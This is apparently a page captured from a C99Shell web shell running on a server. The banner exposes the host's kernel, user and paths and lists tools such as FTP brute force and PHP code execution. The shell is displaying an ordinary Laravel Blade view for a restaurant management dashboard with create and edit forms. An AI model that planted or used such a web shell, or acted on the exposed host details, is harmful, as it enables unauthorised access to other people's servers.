!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/resources/views/restaurant/   drwxr-xr-x
Free 26.62 GB of 117.98 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.blade.php (57.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('layouts.dashboard')

@section('title',trans('layout.restaurant_list'))

@section('css')
<link href="{{asset('vendor/jquery-steps/css/jquery.steps.css')}}" rel="stylesheet">
<link href="{{asset('vendor/summernote/summernote.css')}}" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" />
@php
$modules = modules_status('MultiRestaurant');
@endphp
<style>
    .form-step {
        display: none;
    }

    .current-plan-details {
        display: flex;
    }

    .current-plan-title {
        font-size: 20px;
        margin-bottom: 20px;
        color: #000000e3;
    }

    .current-plan-details-value {
        margin-left: 20px;
        font-size: 15px;
        font-style: italic;
        font-weight: 600;
    }

    .current-plan-details-title {
        font-size: 16px;
        font-weight: 500;
        color: #2b2929;
    }

    .form-step.active {
        display: block;
    }

    .form-step-edit {
        display: none;
    }

    .form-step-edit.active {
        display: block;
    }

    /* Step Navigation */
    .step-navigation {
        display: flex;
        justify-content: space-between;
        align-items: center;
        position: relative;
        margin-bottom: 20px;
    }

    .step-counter {
        width: 50px;
        height: 50px;
        display: flex;
        justify-content: center;
        align-items: center;
        background-color: #ddd;
        border-radius: 50%;
        font-weight: bold;
        color: white;
        transition: background-color 0.3s;
        position: relative;
        z-index: 2;
    }

    .edit-step-counter {
        width: 50px;
        height: 50px;
        display: flex;
        justify-content: center;
        align-items: center;
        background-color: #ddd;
        border-radius: 50%;
        font-weight: bold;
        color: white;
        transition: background-color 0.3s;
        position: relative;
        z-index: 2;
    }

    /* Line between circles */
    .step-navigation::after {
        content: '';
        position: absolute;
        top: 50%;
        left: 0;
        width: 100%;
        height: 2px;
        background-color: #ddd;
        z-index: 1;
    }

    .step-counter.active {
        background-color: #007bff;
    }

    .step-counter.completed {
        background-color: #2F4CDD;
    }

    .step-counter:first-child {
        margin-left: 0;
    }

    .step-counter:last-child {
        margin-right: 0;
    }

    .edit-step-counter.active {
        background-color: #007bff;
    }

    .edit-step-counter.completed {
        background-color: #2F4CDD;
    }

    .edit-step-counter:first-child {
        margin-left: 0;
    }

    .edit-step-counter:last-child {
        margin-right: 0;
    }

    .modal-content-section.mt-4 {
        overflow-y: scroll;
        min-width: 700px !important;
    }

    .step-navigation {
        display: flex;
        margin-bottom: 35px;
    }

    .change-package-btn {
        font-size: 13px;
        padding: 4px 4px 1px 4px;
        border-radius: 4px;
        color: #2bc16d;
        font-weight: 600;
        border: 1px solid #5cc555;
        display: flex;
        gap: 5px;
    }

    .change-package-btn:hover {
        background: #e7faec;
    }

    .add_opening_hour {
        font-size: 20px !important;
        padding: 5px 15px;
    }

    .state.form-control {
        height: 40px !important;
        border-radius: 5px !important;
    }

    /* .dropdown-toggle.btn-light {
    display: none;
} */
</style>
@endsection
@php $orderStatus = json_decode(get_settings('manage_place_order')); @endphp
@section('main-content')
<div class="row page-titles mx-0">
    <div class="col-sm-6 p-md-0">
        <div class="welcome-text">
            <h4>{{trans('layout.restaurant')}}</h4>
            <p class="mb-0">{{trans('layout.your_restaurant')}}</p>
        </div>
    </div>
    <div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
        <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="#">{{trans('layout.home')}}</a></li>
            <li class="breadcrumb-item active"><a href="javascript:void(0)">{{trans('layout.branches')}}</a></li>
        </ol>
    </div>
</div>
<!-- row -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-header">
                <h4 class="card-title">{{trans('layout.list')}}</h4>
                <div class="pull-right">
                    <button type="button" class="btn btn-sm btn-primary" data-toggle="modal"
                        data-target="#restaurantCreateModal">
                        {{trans('layout.create')}}
                    </button>
                </div>
            </div>
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-responsive-md">
                        <thead>
                            <tr>
                                <th style="width:80px;"><strong>#</strong></th>
                                <th><strong>{{trans('layout.customer_details')}}</strong></th>
                                <th><strong>{{trans('layout.branch')}}</strong></th>
                                <th><strong>{{trans('layout.location')}}</strong></th>
                                <th><strong>{{trans('layout.status')}}</strong></th>
                                <th></th>
                            </tr>
                        </thead>
                        <tbody>
                            @foreach($restaurants as $key=>$restaurant)

                            <tr>
                                <td><strong>{{$key+1}}</strong></td>
                                <td>{{ucfirst($restaurant->user->name)}}</td>
                                <td>{{ucfirst($restaurant->name)}}</td>
                                <td>{{$restaurant->location}}</td>
                                <td>
                                    @if($restaurant->status=='active')
                                    <span class="badge light badge-success">{{trans('layout.active')}}</span>
                                    @elseif($restaurant->status=='inactive')
                                    <span class="badge light badge-warning">{{trans('layout.inactive')}}</span>
                                    @endif
                                </td>
                                <td>
                                    <div class="dropdown">
                                        <button type="button" class="btn btn-success light sharp"
                                            data-toggle="dropdown">
                                            <svg width="20px" height="20px" viewBox="0 0 24 24" version="1.1">
                                                <g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
                                                    <rect x="0" y="0" width="24" height="24" />
                                                    <circle fill="#000000" cx="5" cy="12" r="2" />
                                                    <circle fill="#000000" cx="12" cy="12" r="2" />
                                                    <circle fill="#000000" cx="19" cy="12" r="2" />
                                                </g>
                                            </svg>
                                        </button>
                                        <div class="dropdown-menu">
                                            <a target="_new" class="dropdown-item"
                                                href="{{route('show.restaurant',['slug'=>$restaurant->slug,'id'=>$restaurant->id])}}">{{trans('layout.preview')}}</a>
                                            <button class="dropdown-item edit_restaurant" type="button"
                                                data-id="{{ $restaurant->id }}" data-name="{{ $restaurant->name }}"
                                                data-location="{{ $restaurant->location }}"
                                                data-email="{{ $restaurant->email }}"
                                                data-phone_number="{{ $restaurant->phone_number }}"
                                                data-timing="{{ $restaurant->timing }}"
                                                data-description="{{ strip_tags($restaurant->description) }}"
                                                data-template="{{ $restaurant->template }}"
                                                data-profile="{{ $restaurant->profile_image }}"
                                                data-cover="{{ $restaurant->cover_image }}"
                                                data-currency_code="{{ $restaurant->currency_code }}"
                                                data-has_reservation="{{ $restaurant->has_reservation }}"
                                                data-currency_symbol="{{ $restaurant->currency_symbol }}"
                                                data-featured_restaurant="{{ $restaurant->featured_restaurant }}"
                                                data-status="{{ $restaurant->status }}"
                                                data-order_status="{{ $restaurant->order_status }}"
                                                data-cash_on_delivery="{{ $restaurant->cash_on_delivery }}"
                                                data-takeaway="{{ $restaurant->takeaway }}"
                                                data-table_booking="{{ $restaurant->table_booking }}"
                                                data-delivery_fee="{{ $restaurant->delivery_fee }}"
                                                data-multi_restaurant="{{ $restaurant->on_multi_restaurant }}"
                                                data-user_id="{{ $restaurant->user_id }}"
                                                data-opening_hours='@json($restaurant->opening_hours)'
                                                data-country="{{ $restaurant->country }}"
                                                data-state="{{ $restaurant->state }}"
                                                data-others_information='@json($restaurant->others_information)'
                                                data-action="{{ route('restaurant.update', $restaurant->id) }}"
                                                data-toggle="modal" data-target="#restaurantEditModal">
                                                {{ trans('layout.edit') }}
                                            </button>


                                            @if($restaurant->template=='custom')
                                            <a class="dropdown-item"
                                                href="{{route('restaurant.custom-menu',[$restaurant])}}">{{trans('layout.custom_menu')}}</a>
                                            @endif
                                            <button class="dropdown-item" type="button"
                                                data-message="{{trans('layout.message.restaurant_delete_warning')}}"
                                                data-action='{{route('restaurant.destroy',[$restaurant])}}'
                                                data-input={"_method":"delete"} data-toggle="modal"
                                                data-target="#modal-confirm">{{trans('layout.delete')}}</button>
                                        </div>
                                    </div>
                                </td>
                            </tr>
                            @endforeach
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>
@endsection

@section('create-modal-id', 'restaurantCreateModal')
@section('create-modal-title', 'Restaurent Create')
@section('create-modal-content-wapper')
<form action="{{route('restaurant.store')}}" method="post" id="step-form-horizontall" class="step-form-horizontall"
    enctype="multipart/form-data">
    <div class="modal-body">
        <div class="step-navigation">
            <div class="step-counter" id="step-1">1</div>
            <div class="step-counter" id="step-2">2</div>
            <div class="step-counter" id="step-3">3</div>
            <div class="step-counter" id="step-4">4</div>
        </div>
        @include('restaurant.form')
    </div>
</form>
@endsection



@section('edit-modal-id', 'restaurantEditModal')
@section('edit-modal-title', 'Restaurant Edit')
@section('edit-modal-content-wapper')
<form method="POST" id="restaurantFormUpdate" enctype="multipart/form-data">
    @csrf
    @method('PUT')
    <div class="modal-body">
        <input type="hidden" name="id" id="edit-restaurant-id">
        <div class="step-navigation">
            <div class="edit-step-counter" id="edit-step-1">1</div>
            <div class="edit-step-counter" id="edit-step-2">2</div>
            <div class="edit-step-counter" id="edit-step-3">3</div>
            <div class="edit-step-counter" id="edit-step-4">4</div>
        </div>

        <!-- Step 1: General Info -->
        <div class="form-step-edit active">
            <h4>{{ trans('layout.general_info') }}</h4>
            <section>
                <div class="row">
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.name') }}*</label>
                            <input value="{{ old('name') }}" id="edit-restaurant-name" type="text" name="name"
                                class="form-control" placeholder="Ex: The Disaster Cafe" required>
                        </div>
                    </div>
                    <div class="col-lg-12 mb-2">
                        <div class="row mb-2 ">
                            <div class="col-lg-6">
                                <label class="text-label">{{ trans('Select Country') }}</label>
                                <select name="country" id="edit_country" class="form-control select2">
                                    <option value="">Select Country</option>
                                    @foreach(getCountryCode() as $code)
                                    <option value="{{$code['code']}}">{{$code['name']}}</option>
                                    @endforeach
                                </select>
                            </div>
                            <div class="col-lg-6" id="edit_country_state">

                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.location') }}</label>
                            <input value="{{ old('location') }}" type="text" name="location" class="form-control"
                                id="edit-restaurant-location" placeholder="Ex: 2806 Montague Rd, BC, Canada">
                        </div>
                        <input type="hidden" id="lat" name="lat" value="{{ old('lat') }}">
                        <input type="hidden" id="long" name="long" value="{{ old('long') }}">
                    </div>

                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.email') }}</label>
                            <input value="{{ old('email') }}" id="edit-restaurant-email" type="email" name="email"
                                class="form-control" placeholder="example@example.com">
                        </div>
                    </div>

                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.phone_number') }}</label>
                            <input value="{{ old('phone_number') }}" type="text" name="phone_number"
                                id="edit-restaurant-phone_number" class="form-control" placeholder="(+0)000-000-0000">
                        </div>
                    </div>
                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.timing') }}</label>
                            <input value="{{ old('timing') }}" id="edit_timing" type="text" name="timing"
                                class="form-control" placeholder="Ex: 8:00 - 20:00">
                        </div>
                    </div>

                    <div class="{{auth()->user()->type=='restaurant_owner'?'col-lg-6':'col-lg-6'}} mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.currency_code')}}</label>
                            <input value="{{old('currency_code')}}" type="text" name="currency_code"
                                id="edit_currency_code" class="form-control" placeholder="{{trans('Ex: usd or eur')}}">
                        </div>
                    </div>

                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.currency_symbol')}}</label>
                            <input value="{{old('currency_symbol')}}" id="edit_currency_symbol" type="text"
                                name="currency_symbol" class="form-control">
                        </div>
                    </div>

                    @if(auth()->user()->type == 'admin')
                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label for="edit-user-id-label">{{ trans('layout.select_a_user') }}</label>
                            <select name="user_id" id="edit-user-id" class="form-control select2">
                                @foreach($customers as $customer)
                                <option value="{{ $customer->id }}">
                                    {{ $customer->name }}
                                </option>
                                @endforeach
                            </select>
                        </div>
                    </div>
                    @endif
                    <div class="col-lg-12 mb-3">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.description')}}*</label>
                            <textarea rows="10" id="edit-restaurant-description" name="description" class="form-control"
                                placeholder="Ex: The Disaster Cafe will deliver, with 7.8 richter scale earthquakes simulated during meals"
                                required>{{old('description')}}</textarea>
                        </div>
                    </div>

                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{ trans('layout.status') }}*</label>
                            <select name="status" class="form-control" id="edit-restaurant-status">
                                <option value="active">{{ trans('layout.active') }}</option>
                                <option value="inactive">{{ trans('layout.inactive') }}</option>
                            </select>
                        </div>
                    </div>


                    @if(isset($orderStatus->admin_order_status) && $orderStatus->admin_order_status=='enable')
                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.order_settings')}}</label>
                            <select name="order_status" class="form-control">
                                <option value="enable">{{trans('layout.enable')}}</option>
                                <option value="disable">{{trans('layout.disable')}}</option>
                            </select>
                        </div>
                    </div>
                    @endif


                    <div class="col-lg-12 mb-3 text-devider">
                        <div class="form-check form-check-inline">
                            <input class="form-check-input form-check-input-edit cash_on_delivery_checkbox" type="checkbox"
                                id="cash_on_delivery_checkbox_edit" value="yes" name="cash_on_delivery">
                            <label class="form-check-label" for="cash_on_delivery_checkbox_edit">Cash on Delivery
                            </label>
                        </div>
                        <div class="form-check form-check-inline">
                            <input class="form-check-input form-check-input-edit takeaway_checkbox" type="checkbox" id="takeaway_checkbox_edit"
                                value="yes" name="takeaway">
                            <label class="form-check-label" for="takeaway_checkbox_edit">Takeaway </label>
                        </div>
                        <div class="form-check form-check-inline">
                            <input class="form-check-input form-check-input-edit table_booking_checkbox" type="checkbox"
                                id="table_booking_checkbox_edit" value="yes" name="table_booking">
                            <label class="form-check-label" for="table_booking_checkbox_edit">Table Order</label>
                        </div>
                    </div>

                    <div class="col-lg-6 mb-2 d-none" id="delivery_fee_edit">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.delivery_fee')}} </label>
                            <input value="{{old('delivery_fee')}}" type="text" id="edit_delivery_fee"
                                name="delivery_fee" class="form-control" placeholder="Ex: 10" required>
                        </div>
                    </div>
                    @if($modules)
                    <div class="col-lg-6 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.publish_on_multiretaurant')}} @if(env('APP_DEMO'))<small
                                    class="addon">({{trans('multirestaurant::layout.addon')}})</small> @endif <i
                                    data-toggle="tooltip" data-placement="top"
                                    title="{{trans('multirestaurant::layout.publish_waring')}}"
                                    id="multirestaurant-tooltip" class="ti-info-alt"></i></label>
                            <select name="on_multi_restaurant" id="edit_publish_on_multi_restaurant"
                                class="form-control">
                                <option value="unpublish">{{trans('layout.unpublish')}}</option>
                                <option value="publish">{{trans('layout.publish')}}</option>
                            </select>
                        </div>
                    </div>
                    @endif

                </div>
            </section>
            <div class="text-right">
                <button type="button" class="btn btn-primary edit-next-step">Next</button>
            </div>
        </div>

        <!-- Step 2: Image Upload -->
        <div class="form-step-edit">
            <h4>{{ trans('layout.image_upload') }}</h4>
            <section>
                <div class="row">
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.profile')}}</label>
                            <img id="profile-image-preview" style="max-width: 50px; display: none;" alt="Profile Image">
                            <input type="file" name="profile_file" class="form-control" accept="image/*">
                        </div>
                    </div>
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('layout.cover')}}</label>
                            <img id="cover-image-preview" style="max-width: 50px; display: none;" alt="Cover Image">
                            <input type="file" name="cover_file" class="form-control" accept="image/*">
                        </div>
                    </div>
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label">{{trans('Photos')}}</label>
                            <input type="file" name="images[]" class="form-control" accept="image/*" multiple>
                        </div>
                    </div>
                </div>

            </section>
            <div class="d-flex justify-content-between">
                <button type="button" class="btn btn-secondary edit-prev-step">Previous</button>
                <button type="button" class="btn btn-primary edit-next-step">Next</button>
            </div>
        </div>
        <!-- Step 2: others -->
        <div class="form-step-edit">
            <h4>{{trans('Add Others Details')}} @if(env('APP_DEMO'))<small
                                    class="addon">({{trans('multirestaurant::layout.addon')}})</small> @endif</h4>
                        <div class="form-check form-check-inline mt-2 mb-3">
                            <input class="form-check-input form-check-input-edit edit_featured_restaurant" type="checkbox"
                                id="edit_featured_restaurant" value="yes" name="featured_restaurant">
                            <label class="form-check-label" for="edit_featured_restaurant">Fatured Restaurant</label>
                        </div>
            <section>
                <div class="row">
                    <div class="col-sm-12 d-flex">
                        <label for="status">{{ trans('layout.has_reservation') }}</label>
                        <div class="custom-switch">
                            <input id="has_reservation_edit_checkbox" name="has_reservation" type="checkbox"
                                class="custom-switch-button">
                        </div>
                    </div>
                    <div class="col-sm-12 check-singer d-none" id="has_reservation_edit_show_div">
                        <div class="row">
                            <div class="col-lg-12 mb-2">
                                <label class="text-label">{{trans('Set Opening Hours')}}</label>

                                <div class="opening-hours-container-edit-next" id="opening-hours-container-edit-next">

                                </div>
                            </div>

                            <div class="col-lg-12 mb-2">
                                <label class="text-label">{{trans('Others Information')}}</label>
                                <div class="row align-items-end mb-2">

                                    <div class="col-lg-12">
                                        <button type="button"
                                            class="btn btn-sm float-right btn-info add_information_edit"><i
                                                class="fa fa-plus"></i></button>
                                    </div>
                                </div>
                            </div>

                            <div class="col-lg-12">
                                <div class="row align-items-end mb-2" id="hasOpeningInformationEditSection">

                                </div>
                            </div>

                            <div class="openingInformationEdit"></div>

                        </div>
                    </div>

                </div>
            </section>
            <div class="d-flex justify-content-between">
                <button type="button" class="btn btn-secondary edit-prev-step">Previous</button>
                <button type="button" class="btn btn-primary edit-next-step">Next</button>
            </div>
        </div>
        <!-- Step 3: Template Selection -->
        <div class="form-step-edit">
            <h4>{{ trans('layout.choose_template') }}</h4>
            <section>
                <div class="form-group mb-0">
                    <label class="radio-inline mr-3 restaurant-template"><input type="radio" name="template"
                            id="template_classic" value="classic">
                        <span>{{trans('layout.classic')}}</span>
                        <img class="max-h-300" src="{{asset('images/classic_template.jpg')}}" alt="Classic Template">

                    </label>
                    <label class="radio-inline mr-3 restaurant-template"><input type="radio" name="template"
                            id="template_modern" value="modern">
                        <span>{{trans('layout.modern')}}</span>
                        <img class="max-h-300" src="{{asset('images/modern_template.png')}}" alt="Modern Template">

                    </label>
                    <label class="d-none radio-inline mr-3 restaurant-template"><input type="radio"
                            id="template_flipbook" name="template" value="flipbook">
                        <span>{{trans('layout.flipbook')}}</span>
                        <img class="max-h-300" src="{{asset('images/classic_template.jpg')}}" alt="Flipbook Template">
                    </label>
                    <label class="d-none radio-inline mr-3 restaurant-template"><input type="radio" name="template"
                            id="template_custom" value="custom">
                        <span>{{trans('layout.custom')}}</span>
                        <img class="max-h-300" src="{{asset('images/custom-preview.svg')}}" alt="Custom Template">
                    </label>
                </div>
            </section>
            <div class="d-flex justify-content-between">
                <button type="button" class="btn btn-secondary edit-prev-step">Previous</button>
                <button type="submit" class="btn btn-success">Submit</button>
            </div>
        </div>

    </div>
</form>
@endsection

@section('extra-modal-id', 'restaurantPlanEditModal')
@section('extra-modal-title', 'Plan Update')
@section('extra-modal-content-wapper')
<form method="post" role="form" id="restaurantPlanForm">
    @csrf

    <input type="hidden" value="" name="user_currrent_plan" id="edit_plan_id">

    <div class="modal-body">
        <section>
            <div class="row">
                <div class="col-lg-12">
                    <div class="current-plan-title">
                        Current Plan Details
                    </div>
                </div>
                <div class="col-lg-12 mb-2">
                    <div class="current-plan-details-section">
                        <div class="current-plan-details">
                            <div class="current-plan-details-title">Plan Name</div>
                            <div class="current-plan-details-value" id="current_plan_title"></div>
                        </div>
                        <div class="current-plan-details">
                            <div class="current-plan-details-title">Plan Cost</div>
                            <div class="current-plan-details-value" id="current_plan_cost"></div>
                        </div>
                        <div class="current-plan-details">
                            <div class="current-plan-details-title">Plan Type</div>
                            <div class="current-plan-details-value" id="current_plan_recurring_type"></div>
                        </div>
                    </div>
                </div>
                <div class="col-lg-12 mb-2 mt-4">
                    <div class="form-group">
                        <label for="">{{trans('layout.select_plan')}}</label>
                        <select name="plan_id" id="edit-restaurant-plan" class="form-control">
                            @foreach($plans as $plan)
                            <option value="{{$plan->id}}">{{$plan->title}}</option>
                            @endforeach
                        </select>
                    </div>
                </div>
            </div>
        </section>
    </div>

    <div class="modal-footer">
        <button type="button" aria-label="Close" class="btn btn-secondary" data-dismiss="modal">
            {{ trans('layout.close') }}
        </button>
        <button type="submit" class="btn btn-primary">
            {{ trans('layout.submit') }}
        </button>
    </div>
</form>

@endsection
@section('js')
<script src="{{asset('vendor/jquery-steps/build/jquery.steps.min.js')}}"></script>
<script src="{{asset('js/plugins-init/jquery-steps-init.js')}}"></script>
<script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script>

@if (!env('APP_DEMO'))
<script>
    $('#locationInput').on('keyup', function(e) {
            e.preventDefault();
            const cityname = $(this).val();
            const key = $('#api_key').val();
                if (key){
                    const search_string = "https://maps.googleapis.com/maps/api/place/textsearch/json?query=restaurants+in+"+cityname+"&sensor=false&key="+key+"";
                    $.ajax({
                        url: search_string
                    }).done( function ( data ) {
                        $('.city-par').removeClass('d-none');
                        let html_city = '';
                        $.each(data['results'], function(index,value){
                            html_city+=`<li class="p-1 locationCity" data-lat="${value.geometry.location.lat}" data-long="${value.geometry.location.lng}" data-address="${value.formatted_address}"> ${value.formatted_address}</li>`
                        });
                        $("#inputShowCity").html(html_city);
                    });
                }
            });
        $(document).on('click', '.locationCity', function (e) {
            e.preventDefault();
            const lat = $(this).attr('data-lat');
            const long = $(this).attr('data-long');
            const address = $(this).attr('data-address');
            $('#lat').val(lat)
            $('#long').val(long)
            $('#locationInput').val(address)
            $('.city-par').addClass('d-none');
        });
</script>
@endif
<script>
    $('#multirestaurant-tooltip').tooltip()
</script>
<script>
    $(document).ready(function () {
        $('button[data-id="country"]').addClass('d-none');
        $('button[data-id="edit_country"]').addClass('d-none');
        let currentStep = 0;
        const steps = $(".form-step");
        const stepCounters = $(".step-counter");

        function showStep(index) {
            steps.removeClass("active");
            steps.eq(index).addClass("active");

            stepCounters.removeClass("active completed");
            for (let i = 0; i <= index; i++) {
                stepCounters.eq(i).addClass("completed");
            }
            stepCounters.eq(index).addClass("active");
        }

        $(".next-step").click(function () {
            if (currentStep < steps.length - 1) {
                currentStep++;
                showStep(currentStep);
            }
        });

        $(".prev-step").click(function () {
            if (currentStep > 0) {
                currentStep--;
                showStep(currentStep);
            }
        });

        showStep(currentStep);
    });
</script>
<script>
    $(document).ready(function () {
        let editCurrentStep = 0;
        const editSteps = $(".form-step-edit");
        const editStepCounters = $(".edit-step-counter");

        function editShowStep(index) {
            editSteps.removeClass("active");
            editSteps.eq(index).addClass("active");

            editStepCounters.removeClass("active completed");
            for (let j = 0; j <= index; j++) {
                editStepCounters.eq(j).addClass("completed");
            }
            editStepCounters.eq(index).addClass("active");
        }

        $(".edit-next-step").click(function () {
            if (editCurrentStep < editSteps.length - 1) {
                editCurrentStep++;
                editShowStep(editCurrentStep);
            }
        });

        $(".edit-prev-step").click(function () {
            if (editCurrentStep > 0) {
                editCurrentStep--;
                editShowStep(editCurrentStep);
            }
        });

        editShowStep(editCurrentStep);
    });
</script>
<script>
    $(document).on('click', '.edit_restaurant', function () {
        const id = $(this).data('id');
        const name = $(this).data('name');
        const location = $(this).data('location');
        const email = $(this).data('email');
        const phoneNumber = $(this).data('phone_number');
        const timing = $(this).data('timing');
        const description = $(this).data('description');
        const template = $(this).data('template');
        const currencyCode = $(this).data('currency_code');
        const currencySymbol = $(this).data('currency_symbol');
        const featured_restaurant = $(this).data('featured_restaurant');
        const has_reservation = $(this).data('has_reservation');
        const status = $(this).data('status');
        const orderStatus = $(this).data('order_status');
        const cashOnDelivery = $(this).data('cash_on_delivery');
        const takeaway = $(this).data('takeaway');
        const tableBooking = $(this).data('table_booking');
        const deliveryFee = $(this).data('delivery_fee');
        const onMultiRestaurant = $(this).data('multi_restaurant');
        const userId = $(this).data('user_id');
        const profileImage = $(this).data('profile');
        const coverImage = $(this).data('cover');

        const openingHoursRaw = $(this).data('opening_hours');
        const openingHours = typeof openingHoursRaw === 'string'
            ? JSON.parse(openingHoursRaw)
            : openingHoursRaw;

        const openingArrDate = JSON.parse(openingHours);

        const others_information_data = $(this).data('others_information');

        const othersInformationData = typeof others_information_data === 'string'
            ? JSON.parse(others_information_data)
            : others_information_data;

        const others_information = JSON.parse(othersInformationData);

        const country = $(this).data('country');
        const state = $(this).data('state');

        $('#edit-restaurant-id').val(id);
        $('#edit-restaurant-name').val(name);
        $('#edit-restaurant-location').val(location);
        $('#edit-restaurant-email').val(email);
        $('#edit-restaurant-phone_number').val(phoneNumber);
        $('#edit_timing').val(timing);
        $('#edit-restaurant-description').val(description);
        $('#edit-restaurant-template').val(template);
        $('#edit_currency_code').val(currencyCode);
        $('#edit_currency_symbol').val(currencySymbol);
        $('#edit-restaurant-status').val(status).trigger('change');
        if(has_reservation == 'yes'){
            $('#has_reservation_edit_checkbox').val(has_reservation).trigger('click');
        }else{
            $('#has_reservation_edit_checkbox').val(has_reservation);
        }

        $('#edit-restaurant-order_status').val(orderStatus);

        $('#edit_country').val(country).trigger('change');
        $('#edit_country').attr('data-state',state);

        if (Array.isArray(openingArrDate) && openingArrDate.length > 0) {
            $('.opening-hours-container-edit-next').empty();
            openingArrDate.forEach(item => {
                const newFieldEdit = `
                    <div class="row align-items-center mb-2">
                        <div class="col-lg-6">
                            <input type="text" name="opening_date[]" value="${item.opening_date}" class="form-control" placeholder="Opening date" readonly>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" name="opening_hour[]" value="${item.opening_hour}" class="form-control" placeholder="Ex: 8:00 - 20:00">
                        </div>
                    </div>
                `;
                $('.opening-hours-container-edit-next').append(newFieldEdit);
            });

        }else{
            $('.opening-hours-container-edit-next').empty();
            const newFields = `
                <div class="row align-items-end mb-2 ">
                    <div class="col-lg-6">
                        <input type="text" name="opening_date[]" class="form-control"
                            placeholder="Opening date" value="Saturday" readonly>
                    </div>
                    <div class="col-lg-6">
                        <input type="text" name="opening_hour[]" class="form-control"
                            placeholder="Ex: 8:00 - 20:00" >
                    </div>
                </div>
                <div class="row align-items-end mb-2 ">
                    <div class="col-lg-6">
                        <input type="text" name="opening_date[]" class="form-control"
                            placeholder="Opening date" value="Sunday" readonly>
                    </div>
                    <div class="col-lg-6">
                        <input type="text" name="opening_hour[]" class="form-control"
                            placeholder="Ex: 8:00 - 20:00" >
                    </div>
                </div>
                <div class="row align-items-end mb-2 ">
                    <div class="col-lg-6">
                        <input type="text" name="opening_date[]" class="form-control"
                             placeholder="Opening date" value="Monday" readonly>
                    </div>
                    <div class="col-lg-6">
                        <input type="text" name="opening_hour[]" class="form-control"
                            placeholder="Ex: 8:00 - 20:00">
                    </div>
                    </div>
                    <div class="row align-items-end mb-2 ">
                        <div class="col-lg-6">
                            <input type="text" name="opening_date[]" class="form-control"
                                 placeholder="Opening date" value="Tuesday" readonly>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" name="opening_hour[]" class="form-control"
                                placeholder="Ex: 8:00 - 20:00" >
                        </div>
                    </div>
                    <div class="row align-items-end mb-2 ">
                        <div class="col-lg-6">
                            <input type="text" name="opening_date[]" class="form-control"
                                placeholder="Opening date" value="Wednesday" readonly>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" name="opening_hour[]" class="form-control"
                                placeholder="Ex: 8:00 - 20:00" >
                        </div>
                    </div>
                    <div class="row align-items-end mb-2 ">
                        <div class="col-lg-6">
                            <input type="text" name="opening_date[]" class="form-control"
                                placeholder="Opening date" value="Thursday" readonly>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" name="opening_hour[]" class="form-control"
                                placeholder="Ex: 8:00 - 20:00" >
                            </div>
                    </div>
                    <div class="row align-items-end mb-2 ">
                        <div class="col-lg-6">
                            <input type="text" name="opening_date[]" class="form-control"
                                placeholder="Opening date" value="Friday" readonly>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" name="opening_hour[]" class="form-control"
                                placeholder="Ex: 8:00 - 20:00" >
                            </div>
                    </div>
            `;
            $('.opening-hours-container-edit-next').append(newFields);
        }

        if(others_information){
            $("#hasOpeningInformationEditSection").empty();
                let add_information = '';
                others_information.forEach((item, index) => {
                        add_information = `
                            <div class="col-lg-12 mb-2">

                                        <div class="row align-items-end mb-2">
                                            <div class="col-lg-6">
                                                <label class="text-label">{{trans('Image')}}</label>
                                                <input type="file"  value='${item.other_image}' name="other_image[]" class="form-control">
                                            </div>
                                            <div class="col-lg-6">
                                                <label class="text-label">{{trans('Title')}}</label>
                                                <input type="text" value='${item.title}' name="title[]" class="form-control">
                                            </div>
                                            <div class="col-lg-12 mt-1">
                                                <label class="text-label">{{trans('details')}}</label>
                                                <input type="text"  value='${item.details}' name="details[]" class="form-control">
                                            </div>
                                        </div>

                                    </div>
                    `;
                    $("#hasOpeningInformationEditSection").append(add_information);
                });
        }else{
            $("#hasOpeningInformationEditSection").empty();
        }

         if (cashOnDelivery && cashOnDelivery == 'yes') {
            $('.cash_on_delivery_checkbox').attr('checked', true);
                $('#delivery_fee_edit').removeClass('d-none');
        } else {
